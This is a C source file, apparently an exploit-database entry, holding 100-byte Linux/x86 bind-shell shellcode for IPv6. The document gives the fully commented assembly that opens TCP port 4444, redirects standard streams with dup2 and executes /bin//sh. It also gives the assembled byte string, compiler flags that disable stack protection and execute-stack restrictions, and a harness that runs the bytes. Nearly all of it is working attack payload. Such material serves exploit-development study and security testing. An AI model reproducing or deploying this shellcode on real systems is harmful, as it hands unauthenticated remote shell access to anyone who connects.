122 lines
No EOL
3.5 KiB
C
122 lines
No EOL
3.5 KiB
C
/*
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# Title: Linux/x86 - Bind (4444/TCP) Shell + IPv6 Shellcode (100 bytes)
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# Length : 100bytes
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# Author: Kartik Durg
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# Write-up Link: https://iamroot.blog/2018/07/17/0x1-shell_bind_tcp_ipv6-linux-x86/
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# Tested on: Ubuntu 16.0.4.1 (i686)
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*/
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/*
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global _start
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section .text
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_start:
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;References:
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;(1)http://syscalls.kernelgrok.com/
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;(2)https://www.3dbrew.org/wiki/Socket_Services
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;(3)http://osr600doc.xinuos.com/en/SDK_netapi/sockC.TheIPv6sockaddrstructure.html
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;(4)http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fi%2Finet6_proto.html
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;IPV6 socket creation
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;int socketcall(int call, unsigned long *args);
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;sockfd = socket(int socket_family, int socket_type, int protocol);
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push byte 0x66 ; socketcall()
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pop eax ;EAX=0x2
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xor ebx,ebx ; zero out ebx
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push 0x6 ; IPPROTO_TCP=6
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push 0x1 ; socket_type=SOCK_STREAM (0x1)
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push 0xa ; AF_INET6
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inc ebx ; Define SYS_socket = 1
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mov ecx,esp ; save pointer (ESP) to socket() args (ECX)
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int 0x80
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xchg esi,eax ; host_sockfd stored in esi
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xor eax,eax
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;int socketcall(int call, unsigned long *args);
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;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
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push DWORD eax ;x4 dword ipv6 loopback | EAX contains 0
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push DWORD eax
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push DWORD eax
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push DWORD eax
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push eax ;sin6_addr = in6addr_any | in6addr_any=::0
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push WORD 0x5c11 ;sin6_port=4444 | 0x5c11 | Configurable |
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push WORD 0x0a ;AF_INET6
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mov ecx,esp ;ECX holds pointer to struct sockaddr
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push byte 0x1c ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
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push ecx ;pointer to host_sockfd
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push esi ;host_sockfd
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mov ecx,esp ;ECX points to args
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inc ebx ;EBX = 0x2 | #define SYS_BIND 2
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push byte 0x66 ;socketcall()
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pop eax
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int 80h
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;Listen
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;int socketcall(int call, unsigned long *args);
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;int listen(int host_sockfd, int backlog);
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push ebx ;EBX=2 | backlog=2
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push esi ;poiter to host_sockfd
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mov ecx,esp ;ECX points to args
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inc ebx
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inc ebx ;EBX=0x4 | #define SYS_LISTEN 4
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push byte 0x66
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pop eax ;socketcall()
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int 80h
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;Accept
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;int socketcall(int call, unsigned long *args);
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;accept(int sockfd, NULL, NULL);
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cdq ;EDX = 0x0 | Saves a byte
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push edx ;Push NULL
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push edx ;Push NULL
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push esi ;Push host_sockfd
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mov ecx,esp ;ECX points to args
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inc ebx ;EBX = 0x5 | #define SYS_ACCEPT 5
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push byte 0x66 ;socketcall()
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pop eax
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int 80h
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xchg ebx,eax ;save client_sockfd
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push byte 0x2 ;push 0x2 on stack
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pop ecx ;ECX = 2
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;dup2() to redirect stdin(0), stdout(1) and stderr(2)
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loop:
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push byte 0x3f ;dup2()
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pop eax ;ECX = 0x3f
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int 0x80 ;exec sys_dup2
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dec ecx ;decrement counter
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jns loop ;SF not set? then keep on jumping
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;execve(/bin//sh)
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xor ecx,ecx ;clear ECX
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push ecx ;Push NULL
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push byte 0x0b ;execve() sys call number
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pop eax ;EAX=0x2 | execve()
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push 0x68732f2f ;(1)/bin//sh
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push 0x6e69622f ;(2)/bin//sh
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mov ebx,esp ;EBX pointing to "/bin//sh"
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int 0x80 ;Calling Interrupt for sys call
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*/
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/*
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gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32
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./shellcode
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*/
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#include<stdio.h>
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unsigned char shellcode[] = \
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"\x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |